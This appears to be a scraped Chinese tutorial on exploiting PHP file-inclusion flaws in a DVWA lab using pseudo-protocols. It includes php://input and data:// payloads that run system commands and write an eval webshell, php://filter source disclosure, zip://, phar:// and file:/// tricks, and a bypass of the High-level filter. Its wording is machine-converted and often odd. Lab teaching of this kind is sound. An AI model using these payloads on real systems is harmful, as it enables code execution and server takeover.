天天看點

【檔案包含漏洞】——檔案包含漏洞進階_PHP僞協定

文章目錄

    • 一、實驗目的:
    • 二、工具:
    • 三、實驗環境:
    • 四、介紹:
      • 1. 說明:
      • 2. PHP支援的協定和封裝協定:
    • 五、實驗過程:
      • 1. 本次實驗環境的敏感檔案路徑:
      • 2. DVWA(Low級别):
        • 2.1 通過`php://filter協定`,擷取網站源代碼:
          • 2.1.1 利用條件:
          • 2.1.2 用法:
        • 2.2 通過`php://input協定`,通過檔案包含以POST方式送出請求資料:
          • 2.2.1 利用條件:
          • 2.2.2 用法:
        • 2.3 `zip://僞協定`使用:
          • 2.3.1 利用條件:
          • 2.3.2 用法:
        • 2.4 `phar://僞協定`使用:
          • 2.4.1 利用條件:
          • 2.4.2 用法:
        • 2.5 `data:text/plain僞協定`使用:
          • 2.5.1 利用條件:
          • 2.5.2 用法:
      • 3. DVWA(High級别):
        • 3.1 `file:///僞協定`使用:
          • 3.1.1 利用條件:
          • 3.1.2 用法:

一、實驗目的:

1、通過代碼學習檔案包含的過濾方式。

2、通過

dvwa

漏洞環境,學習檔案包含漏洞利用技巧。

3、通過

dvwa

漏洞環境,學習檔案包含中各種僞協定在檔案包含的的使用方法。

二、工具:

火狐/谷歌浏覽器

burpsuite

三、實驗環境:

靶 機: windows10虛拟機:

192.168.100.150

      

phpstudy2018_Apache

內建環境

      

DVWA靶場

攻擊機: 實體機

四、介紹:

1. 說明:

  

PHP

帶有很多

内置URL風格的封裝協定

,可用于類似

fopen()

copy()

file_exists()

filesize()

的檔案系統函數。

2. PHP支援的協定和封裝協定:

協定 作用 測試PHP版本 allow_url_fopen allow_url_include 使用

file://

>=5.2

通路本地檔案系統 Off/On Off/On

?file=file://D:/soft/phpStudy/www/phpcode.txt

php://filter

>=5.2

通路各個輸入/輸出流(I/O streams) Off/On Off/On

?file=php://filter/read=convert.base64-encode/resource=./index.php

php://input

>=5.2

通路各個輸入/輸出流(I/O streams) Off/On On

?file=php://input

【POST DATA】

<?php phpinfo();?>

zip://

>=5.2

壓縮流 Off/On Off/On

?file=zip://D:/soft/phpStudy/www/file.zip%23phpcode.txt

compress.bzip2://

>=5.2

解壓縮流 Off/On Off/On

?file=compress.bzip2://D:/soft/phpStudy/www/file.bz2

【or】

?file=compress.bzip2://./file.bz2

compress.zlib://

>=5.2

壓縮流 Off/On Off/On

?file=compress.zlib://D:/soft/phpStudy/www/file.gz

【or】

?file=compress.zlib://./file.gz

data://

>=5.2

資料(RFC 2397) On On

?file=data://text/plain,<?php phpinfo()?>

【or】

?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=

也可以:

?file=data:text/plain,<?php phpinfo()?>

【or】

?file=data:text/plain:base64,PD9waHAgcGhwaW5mbygpPz4=

ftp://

>=5.2

通路 FTP(s) URLs

http:

//

>=5.2

通路 HTTP(s) 網址

glob://

>=5.2

查找比對的檔案路徑模式

phar://

>=5.2

PHP 歸檔

ssh2://

>=5.2

Secure Shell 2

rar://

>=5.2

RAR

ogg://

>=5.2

音頻流

expect://

>=5.2

處理互動式的流

請參考文章

五、實驗過程:

1. 本次實驗環境的敏感檔案路徑:

C:\Windows\System32\drivers\etc\hosts
E:\php\phpstudy_2018\PHPTutorial\Apache\conf\httpd.conf
E:\php\phpstudy_2018\PHPTutorial\php\php-5.4.45\php.ini
E:\php\phpstudy_2018\PHPTutorial\MySQL\my.ini
           

2. DVWA(Low級别):

校驗源碼:

<?php
// The page we wish to display
$file = $_GET[ 'page' ];
?> 
           
【檔案包含漏洞】——檔案包含漏洞進階_PHP僞協定

通過上面的源碼我們可以看到,背景沒有對我們傳入的參數進行任何過濾。

2.1 通過

php://filter協定

,擷取網站源代碼:

2.1.1 利用條件:
  隻是讀取,是以隻需要開啟

allow_url_fopen

,對

allow_url_include

不做要求。
2.1.2 用法:

1、調整DVWA的安全級别,并進入檔案包含裡面:

【檔案包含漏洞】——檔案包含漏洞進階_PHP僞協定
【檔案包含漏洞】——檔案包含漏洞進階_PHP僞協定

2、使用

php://協定

進行檔案包含

file1.php

,可以看到,已經傳回了包含檔案的

base64加密

源碼:

這個協定的含義為:通過php協定讀取本地敏感檔案的源代碼,對讀取的的檔案進行base64加密,并傳回加密後的檔案内容。

【檔案包含漏洞】——檔案包含漏洞進階_PHP僞協定

3、複制加密的内容進行解密:

【檔案包含漏洞】——檔案包含漏洞進階_PHP僞協定

4、通過目錄穿越的方法讀取

index.php檔案

一般我們是在已知網站結構路徑的前提下,擷取網站的源代碼。

【檔案包含漏洞】——檔案包含漏洞進階_PHP僞協定

2.2 通過

php://input協定

,通過檔案包含以POST方式送出請求資料:

2.2.1 利用條件:
  可以通路請求的原始資料的隻讀流, 将post請求中的資料作為PHP代碼執行;需要開啟

allow_url_include=on

,對

allow_url_fopen

不做要求。
2.2.2 用法:
#URL中:
?page=php://input

#請求資料中:
<?php system(whoami);?>  #這裡是通過php代碼執行系統指令whoami;
           

1、在檔案包含頁面,通過

burpsuite

抓包:

【檔案包含漏洞】——檔案包含漏洞進階_PHP僞協定

2、用

burpsuite

抓包在

url

中輸入

php://input

,在底部請求資料中可以寫任意

PHP代碼

獲得

phpinfo

資訊:

【檔案包含漏洞】——檔案包含漏洞進階_PHP僞協定

3、通過

php代碼

執行

系統指令

【檔案包含漏洞】——檔案包含漏洞進階_PHP僞協定
【檔案包含漏洞】——檔案包含漏洞進階_PHP僞協定
【檔案包含漏洞】——檔案包含漏洞進階_PHP僞協定

4、寫入一句話木馬檔案:

<?php 
fputs(fopen('test.php','w'),'<?php @eval($_POST[test]);?>');
?>
           
【檔案包含漏洞】——檔案包含漏洞進階_PHP僞協定
【檔案包含漏洞】——檔案包含漏洞進階_PHP僞協定

5、頁面出現亂碼解決:

【檔案包含漏洞】——檔案包含漏洞進階_PHP僞協定

2.3 

zip://僞協定

使用:

2.3.1 利用條件:
  

zip://

可以通路壓縮檔案中的檔案。

  條件: 使用

zip協定

,需要将

#

編碼為

%23

,是以需要

PHP 的版本

>=

5.3.0

,要是因為版本的問題無法将

#

編碼成

%23

,可以手動把

#

改成

%23

2.3.2 用法:

1、将靶機網站主目錄下的

1.php

,壓縮成

1.zip

壓縮包:

内容:

【檔案包含漏洞】——檔案包含漏洞進階_PHP僞協定
【檔案包含漏洞】——檔案包含漏洞進階_PHP僞協定

2、通過

zip://僞協定

對它進行檔案包含:

【檔案包含漏洞】——檔案包含漏洞進階_PHP僞協定

注:要是把壓縮包的字尾改為其他任意格式的檔案也可以正常使用。

2.4 

phar://僞協定

使用:

2.4.1 利用條件:
  與

zip://協定

類似,但用法不同,

zip://僞協定

中是用

#

把壓縮檔案路徑和壓縮檔案的子檔案名隔開,而

phar://僞協定

中是用

/

把壓縮檔案路徑和壓縮檔案的子檔案名隔開。
2.4.2 用法:

使用phar://對1.zip檔案進行檔案包含:

【檔案包含漏洞】——檔案包含漏洞進階_PHP僞協定

2.5 

data:text/plain僞協定

使用:

2.5.1 利用條件:
  和

php僞協定

input

類似,也可以執行任意代碼,但利用條件和用法不同。

  條件:

allow_url_fopen

參數與

allow_url_include

都需開啟。
2.5.2 用法:
#用法1:
?page=data:text/plain,<?php 執行内容 ?>
#用法2:
?page=data:text/plain;base64,編碼後的php代碼
           

1、使用

用法1

執行代碼:

執行内容:

【檔案包含漏洞】——檔案包含漏洞進階_PHP僞協定

2、使用

用法2

執行代碼:

執行内容:

注:經base64編碼後的加号和等号要手動的url編碼,以免浏覽器識别不了。

對執行内容進行

base64加密

【檔案包含漏洞】——檔案包含漏洞進階_PHP僞協定

可以看到系統指令已經執行成功:

【檔案包含漏洞】——檔案包含漏洞進階_PHP僞協定

3. DVWA(High級别):

校驗源碼:

<?php
// The page we wish to display
$file = $_GET[ 'page' ]; //定義一個變量,通過GET的請求方式接收我們包含的檔案;
// Input validation
if( !fnmatch( "file*", $file ) && $file != "include.php" ) { //如果通過get方式傳遞過來的參數字元串中,開頭沒有以file*開頭的字元串,并且不能包含include.php檔案;
    //文法:fnmatch(pattern,string,flags):
    //pattern 必需。規定要檢索的模式;
    //string 	必需。規定要檢查的字元串或檔案。
    echo "ERROR: File not found!"; 則輸出檔案未發現,并且退出
    exit;
}
?> 
           
【檔案包含漏洞】——檔案包含漏洞進階_PHP僞協定

校驗流程:

通過GET的請求方式接收包含的檔案-->如果通過get方式傳遞過來的參數字元串中,開頭沒有以file*開頭的字元串,并且不能包含include.php檔案-->則輸出檔案未發現,并且退出

3.1 

file:///僞協定

使用:

3.1.1 利用條件:
  

file://

用于通路本地檔案系統,且不受

allow_url_fopen

allow_url_include

的影響。
3.1.2 用法:

1、調整

DVWA

的安全級别,并進入檔案包含裡面:

【檔案包含漏洞】——檔案包含漏洞進階_PHP僞協定
【檔案包含漏洞】——檔案包含漏洞進階_PHP僞協定

2、使用本地檔案包含,沒有發現檔案:

注:通過上面源碼我們發現,隻要傳入的參數的沒有以

file

開頭的字元,則輸出檔案未發現,并且退出。

【檔案包含漏洞】——檔案包含漏洞進階_PHP僞協定

3、這裡我們通過

file:///

協定進行繞過,發現可以通路

host檔案

我們包含:

file:///C:\Windows\System32\drivers\etc\hosts

【檔案包含漏洞】——檔案包含漏洞進階_PHP僞協定

繼續閱讀